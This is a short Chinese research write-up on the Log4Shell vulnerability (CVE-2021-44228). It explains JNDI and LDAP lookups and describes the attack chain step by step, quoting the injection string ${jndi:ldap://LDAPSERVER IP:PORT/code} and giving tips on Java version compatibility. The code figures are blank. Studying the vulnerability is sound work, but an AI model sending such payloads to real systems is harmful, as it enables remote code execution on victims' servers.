
CVE-2021-44228 漏洞研究
以下是通过利用 log4shell 漏洞进行远程注入的详细流程。 首先,我们需要了解 3 个部分:
Log4j2 允许使用一种称为 消息查找替换 的功能来记录数据,日志消息可以包含从各种来源动态提取的数据。(它支持 JNDI 查找)
JNDI 查找:允许通过 Java 命名和目录接口(JNDI)API 获取数据,该 API 可以与不同的目录服务交互

LDAP(轻量级目录访问协议):主要用于通过网络访问和管理目录信息服务。
以下是一个远程代码执行的简单示例:

攻击者同时设置 LDAP 服务器(通过 LDAP 协议访问,保存 Java 恶意代码引用)和 HTTP 服务器(存储恶意代码的地方)
在包含已编译恶意代码的目录中设置 HTTP 服务器:

设置存储引用的 LDAP 服务器:

攻击者向安装了 log4j2 的软件系统发送恶意输入(${jndi:ldap://LDAPSERVER IP:PORT/code})

Log4j2 使用查找功能向 LDAP 服务器发送请求
LDAP 服务器通过存储在 LDAP 服务器中的 Java 代码引用将请求重定向到 HTTP 服务器
HTTP 服务器将恶意代码发送回软件系统,然后软件系统执行该恶意代码。
恶意代码:

恶意代码执行成功:

重要提示:
我们并非只能使用 LDAP 服务器进行远程代码执行,只要 log4j2 成功进行消息查找替换并执行恶意代码,我们也可以使用其他方法(例如 RMI)
不同版本的 Java 会使利用过程有所不同(这里我们使用的是 java 1.8u112)。
建议恶意代码中使用与软件(使用 log4j2 的服务器)相同版本的 Java,或者最高不超过该软件的 Java 版本。

Log4j2 中的查找代码:
